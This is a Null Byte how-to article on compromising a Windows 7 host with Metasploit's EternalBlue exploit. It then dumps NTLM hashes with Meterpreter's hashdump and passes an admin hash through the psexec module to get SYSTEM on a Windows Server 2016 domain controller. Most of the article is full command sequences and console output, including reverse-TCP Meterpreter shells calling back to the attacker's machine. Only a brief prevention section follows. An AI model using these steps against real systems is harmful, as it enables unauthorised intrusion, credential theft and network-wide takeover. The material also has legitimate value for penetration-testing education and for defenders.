How to Perform a Pass-the-Hash Attack & Get System Access on Windows « Null Byte :: WonderHowTo

Passwords onWindowsare stored as hashes, and sometimes they can betough to crack. In certain situations, though, we can get around that by using the hash as is, with no need to know the plaintext password. It's especially interesting if we can manage to get the hash of an administrative user since we can then authenticate withhigher privilegesby performing an attack known as pass the hash.We will be initially compromising aWindows 7box, grabbing a hash from there, and pivoting toWindows Server 2016. The user whose password hash we obtain needs to have administrative privileges and to have been logged on to both of these machines. We will be usingKali Linuxas our attacking box.Don't Miss:Discover Open Ports Using Metasploit's Built-in Port ScannerPass the Hash OverviewTo understand the pass-the-hash technique, we first need to cover what makes up the hash. OnWindows, a typical hash will look something like this:admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::There are four distinct sections, each separated by a semicolon. The first part of the hash is the username, and the second part is the numerical relative identifier.The third part is the LM hash, a type of hash that was used in older Windows systems and was discontinued starting withVista/Server 2008. You don't see these much anymore, but it is still possible to come across them if older systems are still in use. If you do, consider yourself lucky because they aretrivial to crack.The fourth part is the NTLM hash, an updated version used on modern Windows systems that is much harder to crack. It's also sometimes referred to as the NTHash, and it's what we can use to pass the hash.Don't Miss:Crack Shadow Hashes After Getting Root on a Linux SystemOur attack works because of the way passwords are stored, transmitted, and used to authenticate. Think about it: your password isn't being thrown around the network in plaintext for everyone to see — it is cryptographically hashed from the moment of creation.When authenticating with a username and password, the password is hashed once you type it in. All things considered, the computer doesn't see a difference between the password and the hash in the end. So by providing the authentication mechanism with the hash directly, we can bypass the need to know the plaintext password.Things get especially interesting because as long as we know the username, we can authenticate as an administrator with just the password hash.Step 1: Grab the Hash from Initial TargetThe first thing we need to do is compromise the initial target. In this scenario, we will assume this is a regular workstation (our Windows 7 machine). Any method will work, but for now, let's assume this machine is vulnerable to cd EternalBlue.We can useMetasploitto easily own the target. First, start it up:~# msfconsole

msf5 >Then, let's run an "eternalblue" module. For more information on this module, check out my previous guide onexploiting EternalBlue on a Windows server.msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49210) at 2019-04-08 10:29:38 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >Meterpreterhas a useful command calledhashdumpthat will dump any LM or NTLM hashes present on the system.meterpreter > hashdump

admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::It appears there is a user named "admin2" that likely has administrative privileges. We can copy the hash and use it to connect to another machine.Let's say there is another computer on the network that looks like a server, possibly a domain controller (this will be the Windows Server 2016 box). If we can get access to that machine we couldown the entire networkandany computer on the domain.Step 2: Pass the Hash with PsExecNow that we have the hash of a privileged user, we can use it to authenticate to the Windows Server 2016 box without supplying the plaintext password. We can do this with Metasploit'spsexecmodule.PsExec is acommand-linetool on Windows that allows you to execute programs and commands on remote systems. It is useful for administrators because it integrates with console applications and utilities for seamless redirection of input and output. But there is always a trade-off between convenience and security. PsExec can be abused by an attacker to execute malicious commands or to serve as a backdoor.Metasploit contains a modified version of PsExec that makes it easy to connect to remote targets. Use thesearchcommand to locate the module:msf5 > search psexec

Matching Modules
================

   #   Name                                         Disclosure Date  Rank       Check  Description
   -   ----                                         ---------------  ----       -----  -----------
   1   auxiliary/admin/smb/ms17_010_command         2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2   auxiliary/admin/smb/psexec_command                            normal     Yes    Microsoft Windows Authenticated Administration Utility
   3   auxiliary/admin/smb/psexec_ntdsgrab                           normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   4   auxiliary/scanner/smb/impacket/dcomexec      2018-03-19       normal     Yes    DCOM Exec
   5   auxiliary/scanner/smb/impacket/wmiexec       2018-03-19       normal     Yes    WMI Exec
   6   auxiliary/scanner/smb/psexec_loggedin_users                   normal     Yes    Microsoft Windows Authenticated Logged In Users Enumeration
   7   encoder/x86/service                                           manual     No     Register Service
   8   exploit/windows/local/current_user_psexec    1999-01-01       excellent  No     PsExec via Current User Token
   9   exploit/windows/local/wmi                    1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution
   10  exploit/windows/smb/ms17_010_psexec          2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11  exploit/windows/smb/psexec                   1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   12  exploit/windows/smb/psexec_psh               1999-01-01       manual     No     Microsoft Windows Authenticated Powershell Command Execution
   13  exploit/windows/smb/webexec                  2018-10-24       manual     No     WebExec Authenticated User Code ExecutionIt's an oldie but a goodie. Load it up with theusecommand.msf5 > use exploit/windows/smb/psexecNow we can display the current settings with theoptionscommand.msf5 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target address range or CIDR identifier
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   AutomaticFirst, we need to set the IP address of the target (the server we are now targeting):msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100
rhosts => 10.10.0.100Then we can set the username and password, using the hash we obtained instead of a plaintext password.msf5 exploit(windows/smb/psexec) > set smbuser admin2

smbuser => admin2

msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7

smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7Next, set the payload — we will use the classic Meterpreter reverse TCP.msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcpAnd the IP address of our local machine and a desired port.msf5 exploit(windows/smb/psexec) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(windows/smb/psexec) > set lport 1234

lport => 1234The rest of the default options are fine for now, so we should be good to go. Fire it off with theruncommand.msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.100:445 - Connecting to the server...
[*] 10.10.0.100:445 - Authenticating to 10.10.0.100:445 as user 'admin2'...
[*] 10.10.0.100:445 - Selecting PowerShell target
[*] 10.10.0.100:445 - Executing the payload...
[*] Sending stage (206403 bytes) to 10.10.0.100
[+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.100:49864) at 2019-04-08 10:36:37 -0500

meterpreter >And we now have a Meterpreter session. To confirm, we can issue commands likegetuidandsysinfoto display information about the target.meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windowsPretty neat. We didn't even need a password — only the hash — to get access to the server. We now own this system.PreventionIt is generally pretty difficult to defend against a pass-the-hash attack because it ends up looking like standard authentication. The best thing to do is implement adefense-in-depthapproach to mitigate potential damage.Keepingprivileges to a minimumwill negate the amount of damage an attacker can do if they gain an initial foothold in the network. Other standard defense methods should be utilized as well, such as the use of afirewalland IDS/IPS to monitor and prevent any malicious activity.Windows can also be configured not to cache credentials, which would prevent attackers from harvesting hashes stored in memory. Additional steps can be taken as well to isolate sensitive systems on the network to limit an attacker's ability to pivot.ConclusionIn this tutorial, we learned about Windows hashes, how they are used in authentication, and how they can be abused to perform a pass-the-hash attack. After we compromised a low-level target, we dumped the hashes and found an administrative account. From there, we used Metasploit to pass the hash and ultimately get System access on a server. If you have any questions on any of this, ask them below.Don't Miss:How to Bypass UAC & Escalate Privileges on Windows Using MetasploitWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byrawpixel/PexelsRelatedHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHacking macOS:How to Hack a Mac Password Without Changing ItHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Use Hash-Identifier to Determine Hash Types for Password CrackingHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Use SHA-256 Hash to Verify Your Downloads Haven't Been ModifiedHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationHow To:Understanding Signature Schemes: How Data Sources Are Authenticated, Secured, & SpoofedHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Break into Router Gateways with PatatorHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Recover a Windows Password with OphcrackHow To:Remove a Windows Password with a Linux Live CDRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Hack Mac OS X Lion PasswordsDrive-By Hacking:How to Root a Windows Box by Walking Past ItSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Mine Bitcoin and Make MoneyHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmNews:FIX WINDOWS 7 SLOW STARTUP TIMES...